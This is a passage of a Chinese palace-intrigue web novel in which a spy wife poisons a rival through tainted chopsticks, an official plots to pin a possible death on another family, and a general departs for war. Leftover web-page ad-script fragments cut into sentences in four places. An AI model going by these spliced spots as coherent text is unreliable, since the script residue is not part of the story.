杨谣转身走至桌边，拿起食箸用饭。 “王妃的举动倒是令我吃惊。”沉竹拿起木勺为杨谣的碗中舀了一勺汤。 “你既敢推倒屏风，我又有何不敢做些更激进之事，不过是伤了内史之女，更何况她先前就与我动手。” 杨谣理所应当地享受着沉竹的服侍，用木勺舀起碗中的汤，细细品尝着。 “这几日在廷正监内消息闭塞，不知那晏钦薇死了没有。” “依旧躺在床榻之上，靠着参汤吊命，不知还能熬几日。王妃今后作何打算？” “大抵会去一处寺庙之中带发静修，过个几年再回到京城来。”说完，杨谣轻笑了几声，又放松地喝了一口汤后继续说道，“大婚那日的晚上，我躺在喜床之上，盖着红色的被褥，看着床柱上贴着的大红喜字想了好久，是该把刀插进这二人中的哪一个，若是杀了亲王，我的命怕是保不住，杨家此后必是要走下坡路，可若是杀了内史之女，我定是能活的。我是不是很机敏？” 沉竹垂眼听着她说着，不做任何反应。 “昭王说的甜言蜜语我着实受用，第二日回家省亲时我坐在马车之上还动摇过，想着往后要做一个贤淑的王妃。可刚归家后我便听闻，那贱人就在附近的院落等候，等着昭王去与她相会。我便先一步找了过去，拿着匕首趁她不备，刺了过去。” “王妃可曾想过自己是否能顺利抵达寺庙，又是否想过之后在寺中清修的日子？只要晏家派一两个人过去，王妃今后的日子便不会好过。” “他晏家敢？我可是朝中御史丞的女儿，我父位列三公！”杨谣先前自如的面庞之上，出现了愠色，眼中颇有些恐惧地看向沉竹。 沉竹抬头对上杨谣慌乱的眼眸，语气淡然地说道：“王妃尚不知晓，王妃刚及笄的妹妹前些日子刚被许给了昭王做侧妃，正妃的位子宫中派人正与晏家商议。王妃已然变成了杨家的弃子，被当作了谋事的工具。“ 杨谣听后不再沉静自如地坐着，她站了起来，用手中的食箸指着依旧坐在她面前拿着汤勺为她盛汤的沉竹，高声说道：“你，给本王妃出去！出去！” 沉竹神色如常，将手中的汤碗平稳地放在杨谣面前，回应道：“王妃既然发话了，那臣妇便先行告退了。” 说罢，便要起身离去。 “王妃”二字像一把直剑贯穿了杨谣的头颅，她大声喘着气，心中想叫人前来处置这个在她面前放肆的贱人，可她刚想开口却发现自己身在廷正监中，哪怕身边依旧装点华丽、齐全。 杨谣的脑袋开始发热，身体也开始颤抖，细小的红疹开始在她手臂的肌肤之上浮现。 她再站不住了，狼狈地跌坐在地上，打翻了汤碗，连带着木勺和食箸散落在地，她今日所穿的衣裳溺在米白色的汤水之中，金色的纹样和汤内的青菜一样浮在上方。 “你…你给我下毒。”杨谣大口大口地喘着气，对着沉竹的背影说道。 沉竹并不理会，自顾自地走出了房屋，前去廷正监门外，等着前来和她一同归家的霍间重，留杨谣一人在地上朝着门槛处匍匐。 “来人…来人…” 无人回应她的呼救，她终是整个身子挂在门槛之上，晕了过去。 霍间重刚到廷正监的门前，还未见到沉竹就被陈年拽了过去。 “你…你可知晓你那夫人都干了些什么事？”说这话的陈年神情焦急，额头之上还有些许汗珠冒出。 “何事？” “你那夫人在给杨小姐的饭菜里下了药，现下杨家小姐满身红疹昏迷不醒，这可如何是好？” “你莫急。”霍间重安抚道。 “我如何能不急？此事若不赶快处理，待消息传出，那些昭王党羽必定要说景王治下不严，如今朝中风雨飘摇，一点风吹草动都可能引来狂风暴雨。” “现下朝中已无人再提此事，杨御丞也急着将此事压下去好成全小女儿的婚事，想必也不会让杨谣在此逗留太久，我们廷正监该问的都问过了，晏家也跑了几番，坊间传闻也治理了，该做的都做了，便是时候将杨谣送走了。” “可…可那杨谣现下还躺在病榻之上挪不开身。”陈年依旧有些焦虑，两双手在身前摩挲个不停。 “马车可备好了？” “备好了。” “那便将人放到马车之上，即刻送往寺庙之中。” “若那杨小姐的身子没撑得过又当如何？” “随行配备一个靠得住的郎中，再多加几个廷正监的侍卫在暗处护卫着，倘若真死了，便让护卫伪造成晏家的手笔，将廷正监从此事中摘干净。” “好，我即刻去办。”陈年说完话，便急着遣人备好马车，去找一个靠谱的郎中，再给廷正监中细心的护卫布置任务。 霍间重则走到了杨谣的房前。 散落在地的汤羹碗筷已然不见，桌上原先摆着的饭菜也已然清理干净，俨然一副什么事都不曾发生过的模样。 “毒在何处发现的？”霍间重向门口的护卫问道。 “回禀监副，毒药下在食箸之上。方才特请人来验过了，食箸上染了金乌磨成的粉末，金乌便是致使杨小姐浑身起红疹和晕厥的原因。” “那金乌从何而来？” “今日药局之中少了一枝金乌。” 她比他想象中的还要狡黠。 沉竹走出廷正监时， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 黄昏已然将尽了。 她本以为会在廷正监的门前见到从东边方向骑马而来的霍间重，却不想霍间重从廷正监内走出。 “夫君可是早就到了？” “刚到不久。” “夫君去时不是牵着马，现下马停在了何处？” “想着要同夫人一并归家，我便将马留在了军营，牵了马车来。”霍间重牵起沉竹的手，同她一起朝霍府的方向走去。 “那马车呢？” “被廷正监借去了。” “是何要紧之事要从夫君处借走马车？” “关在廷正监的杨谣今日犯了急病，为了不将事情闹大，即刻决定送往他处的寺庙，监中一时找不到能行数里的马车，便将我的借去了。” “原是这般。”沉竹面上尴尬地笑笑，心中在想：早知便不选在今日下手，这廷正监离霍府还有一段距离，若是步行，归府之后定要累得不成样子。 “下毒的人极为聪慧，将金乌磨成的粉洒在了食箸之上，难以让人觉察。” “可夫君不还是查明了？我的那些小把戏在夫君面前都不值一提。”沉竹知晓霍间重已将此事勘破，便也不再做无谓的遮掩，将事情认了下来。 “夫人太过自谦了，只是夫人此次从药局之中顺走了金乌，不知可还带走了些别的东西？” “怎会？夫君这样误解我，我当真是要恼了。”沉竹的神情变得不悦，“我还记得夫君曾跟我说过，动些私刑也未尝不可。” 看着沉竹泫然欲泣的面容，霍间重终是不忍，安慰道：“我怎会不记得我曾说与夫人的话？方才不过是些玩笑话，夫人莫要挂怀。” 见霍间重递来了台阶，沉竹也不再僵着脸色，转换出笑颜来。 “今日我去药局帮着整理了些药材，才知晓廷正监中哪怕是这样的小事也极为不易，可想夫君平日之中是何等操劳。” 霍间重看着沉竹脸上熟悉的笑容，颇有些无奈。 “近日南边又起战事，不日我便要前去应战，还要托夫人照看家中。” 南边？霍间重的一番话让沉竹的神思从模糊的街景中醒来，沁菊盗取的不就是南边的军情。 沉竹抬头看向霍间重，日光的余辉勾勒出他的轮廓，眼前的人会在此次战役之中身亡吗？ 她的心被这赤红色的余辉熬地快要融化，她张口欲言，却又没有话可说出。 “夫君。”沉竹唤了霍间重一声。 霍间重扭头看向她，回道：“夫人唤我是有何事？” “无事。”沉竹到底没有把话说出口，她还没有得到此次任务的解药，她还想再多活一些时日。 于是她只是诚心地说道：“夫君此次出征定要平安归来，我会日日去寺中为你祈福。“ “好，我定会遵夫人的话，从南边平安凯旋。“霍间重浅笑着说道。 沉竹看着霍间重的脸庞，哀伤与惭愧在她的心中共生，兴许他们的缘分也该走到了尽头。 31. 枯淮 如霍间重所言，沉竹除了金乌还从药局之中带了枯淮草出来。 兆国内水土不易生长奇花异草，因而廷正监在箭矢之上淬的毒药，也并不难解，只是用作解药的药引枯淮草极为难寻。 城中药铺之中早被廷正监的守卫盯梢，要想取得枯淮草这味药材便定会被抓入廷正监牢狱之中。 沉竹在为那人整理药柜之时，特意在卷册之上添了几笔，将枯淮草数量的缺失掩盖。 隔日，沉竹照例来唤沁菊来服侍自己沐浴。 沁菊现下外伤已然好全，平时跟在沉竹身侧也看不出异象。 “夫人，水温可还合适？”沁菊边温声细语地说着，边舀起浴缶中的水为沉竹浇着身体。 “合适。”沉竹用手扬起水，擦拭着自己的身体，“我拿回了枯淮草，你之后借为我配安神药方的名头，去配副药喝下，你的那副方子我已写好，放在了我的外衣之中。” “夫人如此想着奴，奴甚欢喜。只是，夫人前些时日不是已经停了安神的药方？奴再次前去配药是否会惹人生疑。” “霍间重又将要去征战了，作为国尉夫人为将要出战的夫君忧思伤神也不是什么奇事。” “夫人思虑周全。” “你先前拿到的消息可传出去了？”沉竹看向在一旁跪坐着的沁菊轻声问道。 “宫宴那日晚间我撑着一口气将消息传了出去，才会那般筋疲力尽地回府。此次的解药已送至奴的手中，夫人莫要心急，待到国尉大人出征那日，奴自会将解药送至夫人的手中。” 沉竹听后不发一语，只是重复着手中的动作。 见沉竹这般，沁菊出声询问道：“怎不见夫人欣喜？莫不是担忧国尉大人此次出征会受伤？” “你接下来作何打算？”沉竹不理会沁菊的质问，边说着边起身，示意其来为自己更衣。 “待我身体恢复如初，南边战事了却，再做打算。这些时日，夫人可好好歇歇。” 沁菊拿来挂在架子上的外衣为沉竹套上，还用干燥的帕子擦干了她的湿发。 过程中，沉竹的神思飘远，她意识到自己对此事再无能为力，只能等待着数月之后霍间重是否能平安归来。 更令沉竹心烦意乱的是到此关头，自己竟因这些时日的相处，对霍间重生出不忍之心来。 先前生的欣喜被接二连三的麻烦事务冲散，行至此处便只剩担忧，担忧自己的将来，担忧自己是否能狠下心来。 隔日，沉竹久违地同霍任芙外出，沁菊和沁兰也跟在身后。 眼下的燕京城正值初秋，街巷两边的树梢之上的绿叶正逐渐转黄，但燕京城中却不见萧条景象。 街坊间无人再谈论过去的王室丑闻，反倒依旧在歌颂着昭王婚事带来的好处。 农间田税的减少，促进了今年的丰收，米面粮价的下降，实打实地给城中百姓带来了好处，个个脸上都洋溢着幸福的神采。 除去粮价的下降，街边摊贩卖的瓜果蔬菜也物美价廉。 沉竹在一摊贩处看着蔬菜，想着今日是否要再亲自下厨，做些饭菜。 “许久不曾和嫂嫂一并出来闲逛了，还有些想念呢。” “那今日我就陪芙儿好好逛逛。”沉竹笑着回应道，“近日这些从南边运来的菜倒是新鲜极了，芙儿可有些什么想吃的，不妨选上几样，晚间我亲自下厨做些你爱吃的菜。“ “哪来的想吃或不想吃，我这人从不挑三拣四，只要是嫂嫂做的，我都爱吃。”霍任芙的语气甜腻，哄得人不由自主地开心起来，“不过嫂嫂今日怎想得亲自下厨？先前几日为兄长送饭，在廷正监和家两头跑，定是劳累得紧。” “只是眼看着夫君又要离家数月，便想着让夫君多尝尝我的手艺罢了。” “还是嫂嫂好。”霍任芙说着，仔细帮着沉竹挑起菜来，“不过这战事倒真是来得突然，滁州本就是南边的城池，那场战事还未过多久，眼下竟又要开战，就像是……“ “就像是怎样？“ “就像是有人刻意挑起战事，极有把握乘胜追击一般。“霍任芙回答道。 “我不懂这战事繁杂，只盼着夫君能够早日平安归来。” 近几日，沉竹都不见霍间重的人影，问就是在城郊的军营中练兵，此场战役的严峻之势早在沉竹处蔓延。 “我也希望兄长能够平安归来。”霍任芙说完轻轻叹了口气，“也希望此次战役能够大捷，收复先前被安国占领的滁州土地。” 见霍任芙说得真挚，沉竹也不免有些动容，那毕竟是她曾生活过一年有余的土地。 “嫂嫂可知，这回叶准也要去？” “我并不知晓。”沉竹先前忙着解药的事宜，不曾注意到旁的消息，“你从何处得知此事？” “近些时日从他人口中听来的，此事大抵板上钉钉，他与兆云公主的婚期又往后延了些时日，听闻此次兆云公主也会去前线督战。” “兆云公主擅骑射，也熟读兵书，应当能帮得上些忙。”沉竹听后平淡地回答道。 “是啊，兆云是位极上进又有大能耐的公主，细细想来是叶准不与其相配。” 沉竹见霍任芙话语间不复过去那般哀伤，真正地放下心来。她今日既能主动提及叶准想必心中已放下此事。 “可嫂嫂，我还是有些难过。” 听霍任芙说出此话，沉竹的心不免又揪了一下，忙追问道：“缘何难过？” 见沉竹神色突然紧张起来，霍任芙安抚道：“嫂嫂放心，我心难过并不为叶准。只是到了燕京城中后，周遭一切都变了，又好像都没变，只是好似只有我一人在停滞不前。见兄长的官越做越大，我心中也为之欢喜，可同时我也觉得心慌。” “芙儿，你的步伐其实从未停下，不必为此感到烦忧。廷尉府的李夫人先前不还递来了帖子，你还要同我一并去呢。”沉竹出声安慰道，“大抵是战事将近，情绪有些不安，才会让心中生出如此多的事情。” “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我着实想念先前在滁州的日子。”霍任芙不再继续这一话题，也一扫面上的阴霾，“罢了不说这个，幸而嫂嫂将此事提起，我竟忘了李夫人的这件事，不知是定下了哪个日子要上门去？” “下月初九。“沉竹回答道，“李夫人家中新得了孩子，便请些平日里有交集的官眷们聚在一处，算作庆祝。” “李夫人何时有的喜？”霍任芙惊诧道，“上次宫宴时我见李夫人的肚子还平坦，今日竟就要办满月酒了？” 沉竹被霍任芙此时的表情逗得轻笑了起来，解释道：“是李大人的妾室得了孩子，过继到了李夫人名下。” “原是这般，那可要备些礼去道贺？” “自然，我今日叫你出来也正有此意。”沉竹笑吟吟地回应道。 随后，二人便结伴去了城中一间有名的金饰铺子，去寻给李夫人的贺礼。 谁知那金价却高得离谱，店中现成的小儿项圈都要卖上百两银钱。 霍任芙被价钱惊住了，忙在身后拽拽沉竹的袖子，轻声在沉竹耳边说道：“嫂嫂我觉着给小儿买个像样的玩意也是个不差的选择，不必择这些金子做得物什。” 沉竹倒未被标价的金项圈惊到，看着满屋子的金贵首饰，她忽地想起杨谣那张张扬又明丽的脸庞。 听闻她现下已平安抵达了城外的寺庙，削发为尼，平静度日。 沉竹并不打算空着手走，不过她并不打算买下这金项圈。 她从衣袖中掏出两条小黄鱼来，这是赵母在她临走前给她傍身的东西。 她将小黄鱼递给店家后说道：“将这两条黄鱼融了，打两支金簪，样式就按最时新的来。我下月月初来取。” 说完便带着霍任芙走出了铺子。 “嫂嫂为何要送如此贵重的礼物？若是不小心落得一个奢靡的名头可就不好了，而且送小儿金簪也不甚妥当。” “谁说我要将此物送给李夫人当贺礼？”沉竹朝霍任芙笑笑，继续说道：“这两支金簪是要赠予你。” “这礼贵重，我如何担当的起？” “我刚到霍家之时，便是你一直照料我，现下我们在燕京城也算是站稳了脚跟，我也应当送些礼物给你。芙儿只管收下便是。” 霍任芙口中推拒的话难以说出口，脸上展露出些愧疚来，“那便多谢嫂嫂了。” 沉竹听后没多说些什么，摆了摆头，状作无事的模样。 她心知此间并不存在什么愧疚，她只是想做些补偿。 给李夫人的贺礼，她与霍任芙在街巷间逛了许久，最终选定了用樱桃木雕刻而成的印章，此物做工精巧，寓意美好，用来当作抓周礼，也算是不错。 她将此物放入踏实又瑰丽的锦盒之中，除此之外，里面还放着霍任芙写着的贺词。在锦盒的卡口之上，还嵌入了鹤纹的青玉用作装饰。 将此事办妥，沉竹和霍任芙载兴而归，沁菊也拎上了买好的药。 天色渐深，燕京城又迎来了黑夜。 32. 表象 大军临行前的一日，朝中批了假，允军士归家，同家人告别。 霍间重本应在天将亮时归家，但终因事务耽搁，在午后才回到霍府。 彼时，沉竹同霍任芙不过刚用过饭，沉竹正在开着窗子的正屋之中扇着手中绣着兰花的扇子，乘着凉风，看着手中新得的药石册子。 霍间重从窗外看到沉竹拿着书的藕荷色背影，一时有些不忍打扰，但在短暂停驻之后还是将支起的窗子合上，从敞着的屋门走入。 沉竹尚未从不知因何关上的窗子反应过来，刚扭头去看，便又听到了屋门关上的声响。 脑中想着风竟如此大，将门窗都吹得关上，但在下一秒便看到了刚进入房中的霍间重。 “夫君归来了。”沉竹收起手中拿着的籍册，笑着同霍间重说道，“现下虽已立秋，但天气还是炎热得紧，夫君缘何要将门窗关上？” 霍间重朝坐在圈椅上的沉竹走去，用行动回答了她的问题。 他将沉竹抱起放在床榻之上，直直吻了上去。 沉竹在他走近时便料到是这样的情况，用手抚上他的后脑，投入到这一吻中。 衣衫逐渐褪去，但却沉竹却不觉凉意，身上出了一层又一层的薄汗，额前的发也沾了汗水，贴在额前。 热意笼罩在她的周围，她来不及喘息，快意便直直冲上头顶，扼住她的咽喉，逼迫她发出声响来。 当沉竹的手和双腿盘上霍间重虬劲的后背，感受到的湿意让她意识到，不止她一人这般快活。 午后的阳光渐渐偏移，院中种着的榆树树影逐渐被拉长，池塘中干燥又灰蒙的荷叶重新带上了湿润的绿色，在烈阳下交尾的蜻蜓也罢休，静静地停在一上一下的藕茎和荷叶边缘之上。 “夫君可去看过芙儿了？”沉竹靠在霍间重的怀中，柔声问道。 “我归府后同她已见过了面。” “那夫君此次要在南边逗留多久？” “战场上的事没有定数，要停留多久我也说不清楚，总之我会快些赶回来，同你见面。”霍间重吻着手中沉竹的发，口中含糊地回答道。 “我自会在此等着夫君归来。”沉竹轻声回应道。 次日晨间，沉竹尚未醒来，霍间重就已整兵出征。 沉竹摸到已然发凉的身侧，忽地有些感伤。 她不曾想到，在了却烦扰的任务之后，自己会更加疲倦。 重获生机的欢庆被接踵而来的情绪冲淡，她像是陷入了更深的泥沼，淤泥盘踞在她的颈部不上不下，意在凌迟她的灵魂至死，而她被困住手脚，无法挣扎。 “夫人可起了？”门外传来沁菊的声音，“奴来为夫人打水梳妆。” “进来吧。”沉竹起身下床，坐到梳妆台前。 沁菊端着装着水的铜盆进到房中，浅笑着说道：“沁兰姐姐去为夫人小姐布菜了，便只有奴来为夫人挽发梳妆。” 沁菊拿起木梳来为沉竹梳发，与此同时将一个小巧的木盒放在了梳妆台之上。 沉竹知晓其中装着的必定是解药，她只是微微打开盒子看了一眼后，便将其放入了自己的袖中。 “你身上的毒可解了？” “托夫人的福，已然好全了。” “今日用这支簪子吧。”沉竹从妆奁中拿起一支飘着玉蝶的银簪，“用过饭后帮我备车，前去拂尘寺。” “奴知晓了。” 之后的日子沉竹除了隔段时间去拂尘寺祈福外，剩下便是跟霍任芙一并外出或是在家中等着从边境传来的战报和霍间重寄来的家书。 可队伍将近走了半月，仍旧没有半点消息。 边境肃杀的气氛也渲染到了燕京城中，不安的预感在沉竹心头蔓延。 据沁菊探得的消息，粮草一车又一车的运往城外，甚至城中又支起了征兵的帐篷，征召城中的青壮年去往前线。 街巷之间也议论纷纷，猜测着边境的战况究竟进展到了何种模样。 沉竹去金铺拿首饰时便听到了身边人不停的在谈论着此事。 在他们的口中，滁州城已破，兆国军队接连败退，覃国大军北上剑指燕京城，可又有些人说道，朝廷至今没有任何一封军报，边境战况还未有个定数。 在金铺中说这些话的面孔有的令沉竹感到熟悉，大多都是同霍间重一般前往边境征战的将士家属。 李家的那场满月宴席乘了时机，举办宴席的那日宫中还遣人送了礼来恭贺，意在祝福也意在安抚人心。 在李府门前迎着宾客的是李大人与李夫人，沉竹和霍任芙躬身见礼，将贺礼递至李夫人的手中，随后跟着侍从指引进入了李府。 李府之内布置地简约素雅却不失风韵气度，沉竹和霍任芙结伴走过笔直的长廊，便到了聚集宾客们的院落之中。 今日宴席不少平常与廷尉府有交集的官眷都到场，其中包括沉竹曾与其有过一面之缘的徐夫人。 徐夫人今日依旧同人聚在一处，占据着院落中最大的一片地方。 “那便是徐夫人？”霍任芙轻声向身边的沉竹问道。 “正是。”沉竹同样轻声地回答。 “她家那方来找麻烦的子侄现下如何了？”霍任芙如今回想起徐夫人倒打一耙，污蔑沉竹失信的事情，怒火便熊熊地燃起。 “传闻那人染了恶疾，已被徐夫人暗中送出了燕京城，我先前托沁菊去打探过，附近的脂粉铺子已经与那间院落有生意往来，此事约莫是真的。” “那人轻浮浪荡，品行不端，真算是罪有应得！”霍任芙出了心中的恶气，面上也舒展开颜，“不过我记得嫂嫂先前同我说过，徐夫人在城中声名并不好，可怎得今日还是有不少人在其身旁说话？” “落下一人未免显得太难看了些。更何况徐夫人一家早早就站队昭王你，先前昭王的事闹得沸沸扬扬，可依旧不失圣眷，那场婚事虽弄得难堪，但声势之浩大，我听闻比景王迎娶景王妃时的要大上不少。” “原是狗仗人势。”霍任芙边点头边笑着。 “说话要小心些。”沉竹温声提醒道。 “嫂嫂教训的是，是我莽撞了。”霍任芙诚心道，“不过现下朝中局势我倒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是有些看不懂了。景、昭二位王间看着和睦极了，不见争斗痕迹，可这些官员、官眷倒是早早地站好了队，表现得极为明显，不时之间还颇有些剑拔弩张。” “宫中之事远比你我想象的要繁杂琐碎得多，眼下外面的祸患还尚未解决，内里可不敢再出差错。局势尚未明确之前，不应当太过冒进。”沉竹看向身旁盆景的眼神忽地变得锐利。 是啊，局势尚未明确，自己的悲伤又从何而来，城中那些流言兴许都是扰乱人视线的障眼法术。 “可昭王品行叫人难以评说，为何王上与王后却对其如此看重？”重重疑惑围绕在霍任芙的心头，叫她问出一个又一个的问题来，但她也知晓，这些问题沉竹并无法给出一个明确的答案来。 不待沉竹回答，府中的下人便叫人去前厅用饭。 沉竹与霍任芙同顾涟涟坐在一处，品味着算不上十分精致的饭菜。 顾涟涟的脸色比沉竹那日在宫宴之上见到的还要差，沉竹不免出声询问，但顾涟涟只道是自己有了身孕，最近总是睡不安稳，才面色差了些。 “身孕？”沉竹第一次听到身边人怀孕的消息尚且有些反应不过来，惊喜短暂地将担忧的包裹在其中。 “不过刚刚四个月。”顾涟涟露出些羞怯的神情来，手抚上自己的小腹，望向沉竹眼神中含着可见的幸福，“这衣裳宽大显不出什么来。” “既有了身孕怎还往人如此多的地方跑？若是磕碰了该当如何？”沉竹的神情又变得有些担忧，“今日宴席之上，若是有任何不便、不适定要同我说才是。” 见着沉竹这样的神情，顾涟涟终是忍俊不禁笑了出来：“陈年都不似你这般紧张。” 待众人用过饭后，李夫人抱着刚刚满月的孩童走出，这孩童的生母就跟随在其后。 众人皆称赞其生得灵巧可爱，眉眼之间可见英姿，将来必定能有一番大作为。 李夫人听后不免欣喜，身边跟着的这孩子的生母嘴角也扬起了弧度。 沉竹见到这孩子不哭不闹安静地被李夫人抱在怀中，偶尔痴痴地笑笑，心中不免也荡起些涟漪。 “不过是还不到一岁的稚童，这些人的奉承话未免说的过火了些。”霍任芙站在沉竹身后低声说道。 “不过是祝福的话语，芙儿莫要想的如此深。”沉竹转头对霍任芙说道，“芙儿往后要适应这样的场合才好。” 霍任芙在话说出口的当下便觉自己失言，神色也变得懊恼。 “嫂嫂说的是，大抵我是有些不适应吧。” 先前在燕京的那些日子，她时常呆在家中，除了最初的开府宴席，她再也没有操办过其他事情，与之交际的也只剩下沉竹一人。 沉竹能理解霍任芙此时的心境，就像她刚走出赋凌司，接触赵家人的那般不适一样。 离开李府时，沉竹再次同李夫人道贺后才离去。 微微摇晃的归府马车之上，沉竹想起霍任芙向自己提出的几个问题，她的确同霍任芙所想那般给不出答案。 她发觉，她所了解的燕京城不过是表象。 33. 消息 又过了一些时日，霍间重送回了第一封信。 信的内容很简单，不过几个字，告知沉竹和霍任芙自己尚安好。 收到信的沉竹松了一口气，虽字数寥寥，但边境战事紧急，或许能抽出时间落笔也已经为不易。 信送到后不久，在沉竹意料之外的，徐夫人竟携礼来登门拜访。 听闻此消息，沉竹便亲去门前将人迎进来，大门刚被门前的守卫打开，她就看到了徐夫人堆在一处的笑脸。 沉竹让身边人接过徐夫人手中拿着的礼，挽着徐夫人的手走入了霍府。 “徐夫人今日来所为何事？”沉竹引着徐夫人在院中坐下，吩咐沁兰去端些茶水果子上来，“徐夫人这突然登门造访，我也未来得及备些什么，只得将府中先前从景王妃处得来的白茶为夫人沏上。” “我今日来是为先前的事情向霍夫人致歉的。”徐夫人边说着边整理着自己的衣摆，面上也显示出几分在此处坐着的不适来。 沉竹注意到，她的眼神不时便瞟向院中的花草布置，还隐隐露出些嫌弃不屑来。 沁兰将茶水端了上来，沉竹将茶水斟满了徐夫人面前的茶水。 “我先前不知我那子侄行事如此不端，竟不声不响地在外招惹了一身腥臊。那日宴席之上，我见过了霍小姐的模样，清秀精干，现下想来我真是昏头才会让霍小姐与那家伙见面，辱没霍小姐的芳名。” 连自己略用些心思都能探得的事，沉竹不信徐夫人会不知道，眼前人来访时看着的诚意不过装装样子，停留在表面。 沉竹思忖着该如何回应这并不真心实意的致歉，但坐在自己面前的徐夫人似乎并不需要她的回应。 她又摆了摆自己的衣袖，从桌上端起了一杯茶，蜻蜓点水般浅尝辄止后，再次扬起笑容同沉竹说道：“霍夫人可知晓，昭王殿下刚刚迎娶了侧妃。“ “自然，侧妃是杨家的又一位小姐。“沉竹端起茶杯，从容地答道。 “霍夫人既然知晓，我在此也就不过多赘述了。侧妃年幼，整日深居在王府之中沉闷至极，便想邀些人到王府之上来谈心解闷，热闹一些。” “徐夫人是想邀我前去？” “自然是王妃的意思。”徐夫人说完将衣袖掩在嘴前，轻笑了几声，“霍夫人真是说笑了，我可无权邀人去王府做客。” 见沉竹并未爽快地一口答应，她又急忙补充道：“霍夫人思虑如此久，莫不是因为我的原因？” “怎会，不过是知晓边境战事不断，一时分神罢了，先前的旧事徐夫人不必挂怀。” 沉竹心知这场宴席绝非只是谈心解闷那般简单，此事涉及昭王，她总要谨慎思量。 听到沉竹方才话语之中只字不提王府设宴之事，徐夫人按捺着自己焦躁的心绪，试图找出一个让沉竹赴宴的理由。 “我听闻，霍夫人此前与景王妃交好，曾多次上门拜访。” “此话不假，我在之后的确带着芙儿去景王府上致谢。“ “到底是去了的，霍夫人来燕京城时日不多，为夫人着想我还是要提点一句，夫人可莫要厚此薄彼，此事放在有心人眼中编排宣扬可是少不了的。” 沉竹又饮了一杯茶，才回应道：“徐夫人可否告知我侧妃是在何日设宴？” “十五日后。”徐夫人见沉竹松口，语气也变得轻快了起来。 “好，那十五日后我带着芙儿一并去往昭王府赴宴。” “我后日在王府门前等着霍夫人和霍小姐！”徐夫人达成了目的，第一次真心笑了出来，一连吃了好几块盘中的糕点又饮过了几杯茶后才离去。 沉竹将徐夫人送走后回到院中，看到霍任芙正坐在徐夫人刚刚离去的座位之上，吃着桌上还剩下的点心。 沉竹正准备开口向霍任芙解释自己答应徐夫人去赴昭王府宴席的原因，但霍任芙却朝自己笑着说道：“嫂嫂无须同我多言，嫂嫂那日同我说的我都已记下，择日我同嫂嫂一起上街去择些礼物，好去昭王府拜访。” 沉竹点点头，不再过多言语。 之后的日子，沉竹与霍任芙再没有收到霍间重的来信，但她从未停止写信，并将信递给使者，让其送往边境。 写信时，沉竹难以控制泪水从眼中留下，滴染到信纸之上，她盼望着这些信能有回音，但无一例外皆石沉大海。 “真不知道赋凌司怎会派你来。”沁菊走进房门，将开着的窗子合上之后，她看到了刚刚擦干眼泪的沉竹。 “你怎来了？” “自然是怕夫人夜晚吹风着凉，特来将窗子合上。” “在未得到解药之前，你可曾担惊受怕过？” “不曾。我是滁州的辨情使，同司使们一直有着联系，我从不担心自己的生命会有终结的那一天。不过若是我像你一般没有解药，也定不会像你那般惊慌失措，几近将‘死期将至’四个字写在脸上。”沁菊语气轻巧地同沉竹说道。 沉竹听后低下头，轻笑了出来。 她曾以为沁菊会是那个同她感同身受的人。 “城中可还有同你我一般的眼线？” “自然。”沁菊坐到了沉竹面前的桌上，笑了起来，“自燕京城先前那个连手下人叛变都看不出的没用辨情使被害之后，我便接管了燕京城的辨情使一职。现下，赋凌司又派了几人来到了燕京。” “赋凌司现下为覃国做事。”沉竹笃定地说道，她知晓霍间重前往南边与之作战的正是覃国的军队。 “你还没有我想象中的那般笨拙。朱国内斗不止，牵连到了赋凌司，赋凌司便要找个靠得住依附。他们里应外合，就这么致朱国一夜之间覆灭。” 明晰了这一切的前因后果，沉竹恍然间释然了不少，她一手支着头，看向沁菊的眼睛，好奇地问道：“那你是如何潜入的赵家，若我没记错，母亲临走前曾告诉过我，你和沁兰一向靠得住。” “富 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 贵人家的家仆大多都找靠得住的人牙子或是与城中有名的世仆谈成契子，但我两种都不是，我刚至滁州城时正值寒冬，险些要被冻死，是沁兰捡了我，让我捱过了那个冬天，后来她带着我去赵家门前乞求，赵夫人才将我二人收做赵府家仆。赢得心善人的心很容易，不过帮着赵夫人做了几件利索的事，在我的暗示之下，她便遣我和沁兰二人随你嫁至霍家。” 月光今夜分外明亮，隔着窗也能透过几分来。 借着月光，沁菊看向沉竹的脸庞，她承认沉竹的确长得出色，她认为便是这点让沉竹能够在嫁入到霍家之后迅速笼络住那兄妹二人的心。 “你今日为何告诉我这些？”沉竹疑惑地向沁菊问道，先前她从沁菊处得到的答案并不似今日清楚明了。 “城中近来的消息你不知道吗？你日日同那霍任芙上街去，定然比我知晓的还要清楚。滁州城破，覃军北上，剑指燕京，朝中这几日不断派廷尉府的人去往民间为那些死去的将士发放抚恤，你我的任务就快要结束了，我们很快就又会见到那大片的竹林。”沁菊越说越兴奋，她从桌上跳下，背过身去，行至门口处，压抑住自己昂扬的声线，轻声同沉竹说道，“夫人，时候不早了，奴已然将窗子关上了，天气逐渐转凉，夫人睡时定要多盖几层薄被，奴先退下了，夫人定要早些安睡。” 说罢，沁菊走出了正屋，将门轻轻地合上，留沉竹一人坐在原处。 滁州城破，覃军北上，剑指燕京。 这短短一句话在沉竹的耳边轰鸣着。 她看着眼前的窗纸出神，心中想着难道真如沁菊所说，自己将要回到那片熟悉的竹林中，看着那望不到边际的翠绿与世隔绝地度过余生？ 熟悉的感觉重新侵蚀着沉竹的脑海，但她已不会像先前那般无措、无眠。 除去杂念，她的心中仍有一道声音固执地响起。 她躺上床榻，闭眼，等待着明日的消息。 后一日的晨光还未完全照入窗棂，沉竹也尚未苏醒之时，前线传来的消息抵达了霍府之中。 霍任芙还未用过饭就被门前守卫急匆匆地叫去，接到这份霍间重写就，由信使送至霍府的家书。 其中仍旧只有着寥寥几个字：吾尚安好，勿念。 在信的一角，她看到了一个熟悉的印记：一朵画得并不像芙蓉的芙蓉花。 霍间重幼时为她做好纸鸢之后，常会在纸面之上画上一朵这样难看的花，久而久之，这朵花成了二人之间独特的记号。 霍任芙熟门熟路地将信带至房中，点燃烛台，用蜡水涂抹在信的背后。 